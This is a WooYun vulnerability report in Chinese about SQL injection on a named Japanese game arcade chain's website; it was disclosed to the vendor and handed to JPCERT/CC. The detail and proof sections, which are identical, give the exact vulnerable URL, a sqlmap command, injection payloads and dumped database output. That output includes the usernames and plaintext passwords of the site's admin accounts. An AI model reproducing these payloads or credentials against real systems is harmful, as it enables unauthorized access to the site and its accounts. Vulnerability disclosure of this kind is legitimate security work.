漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2016-0214829
漏洞标题:日本某大型游戏机连锁店存在sql注入
相关厂商:atime.co.jp
漏洞作者: 路人甲
提交时间:2016-05-31 17:14
修复时间:2016-07-16 09:40
公开时间:2016-07-16 09:40
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:已交由第三方合作机构(日本国家互联网应急中心(JPCERT/CC))处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2016-05-31: 细节已通知厂商并且等待厂商处理中
2016-06-01: 厂商已经确认,细节仅向厂商公开
2016-06-11: 细节向核心白帽子及相关领域专家公开
2016-06-21: 细节向普通白帽子公开
2016-07-01: 细节向实习白帽子公开
2016-07-16: 细节向公众公开
简要描述:
RT
详细说明:
官方网址:http://www.atime.co.jp,存在注入的网址:http://www.atime.co.jp/shop.php?sid=1 蚕食sid存在注入,放入sqlmap如下:
C:\Python27\SQLMap>sqlmap.py -u "http://www.atime.co.jp/shop.php?sid=1" --dbs --time-sec 2
Place: GET
Parameter: sid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sid=1 AND 9458=9458
Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: sid=1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR(58,108,100,103,58),IFNULL(CAST(CHAR(108,114,110,112,85,120,87,79,116,69) AS CHAR),CHAR(32)),CHAR(58,113,121,111,58)), NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: sid=1 AND SLEEP(2)
---
[15:10:21] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[15:10:21] [INFO] fetching database names
available databases [1]:
[*] LA04659038-atime1227
数据库LA04659038-atime1227里面有11张表如下:
Database: `LA04659038-atime1227`
[11 tables]
+-------------------+
| atm_blog |
| atm_blog_category |
| atm_blog_image |
| atm_gallery |
| atm_machine |
| atm_news |
| atm_ranking |
| atm_recruit |
| atm_setting |
| atm_shop |
| client_user |
+-------------------+
查看client_user表
Database: `LA04659038-atime1227`
Table: client_user
[5 columns]
+------------------+--------------+
| Column | Type |
+------------------+--------------+
| registration_day | datetime |
| user_id | bigint(20) |
| user_login_id | varchar(30) |
| user_login_pwd | varchar(30) |
| user_name | varchar(255) |
+------------------+--------------+
表数据:
database '`LA04659038-atime1227`'
Database: `LA04659038-atime1227`
Table: client_user
[2 entries]
+---------+---------------+----------------+-----------+
| user_id | user_login_id | user_login_pwd | user_name |
+---------+---------------+----------------+-----------+
| 2 | taka | takaherc | HERC |
| 4 | atime | atime777 | ATIME |
+---------+---------------+----------------+-----------+
明文密码。
漏洞证明:
官方网址:http://www.atime.co.jp,存在注入的网址:http://www.atime.co.jp/shop.php?sid=1 蚕食sid存在注入,放入sqlmap如下:
C:\Python27\SQLMap>sqlmap.py -u "http://www.atime.co.jp/shop.php?sid=1" --dbs --time-sec 2
Place: GET
Parameter: sid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sid=1 AND 9458=9458
Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: sid=1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR(58,108,100,103,58),IFNULL(CAST(CHAR(108,114,110,112,85,120,87,79,116,69) AS CHAR),CHAR(32)),CHAR(58,113,121,111,58)), NULL, NULL, NULL, NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: sid=1 AND SLEEP(2)
---
[15:10:21] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0.11
[15:10:21] [INFO] fetching database names
available databases [1]:
[*] LA04659038-atime1227
数据库LA04659038-atime1227里面有11张表如下:
Database: `LA04659038-atime1227`
[11 tables]
+-------------------+
| atm_blog |
| atm_blog_category |
| atm_blog_image |
| atm_gallery |
| atm_machine |
| atm_news |
| atm_ranking |
| atm_recruit |
| atm_setting |
| atm_shop |
| client_user |
+-------------------+
查看client_user表
Database: `LA04659038-atime1227`
Table: client_user
[5 columns]
+------------------+--------------+
| Column | Type |
+------------------+--------------+
| registration_day | datetime |
| user_id | bigint(20) |
| user_login_id | varchar(30) |
| user_login_pwd | varchar(30) |
| user_name | varchar(255) |
+------------------+--------------+
表数据:
database '`LA04659038-atime1227`'
Database: `LA04659038-atime1227`
Table: client_user
[2 entries]
+---------+---------------+----------------+-----------+
| user_id | user_login_id | user_login_pwd | user_name |
+---------+---------------+----------------+-----------+
| 2 | taka | takaherc | HERC |
| 4 | atime | atime777 | ATIME |
+---------+---------------+----------------+-----------+
明文密码。
修复方案:
修复
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:16
确认时间:2016-06-01 09:30
厂商回复:
最新状态:
2016-06-01:Hello 路人甲.This is JPCERT/CC.Thank you for your information.We will notify this information to the site administrator.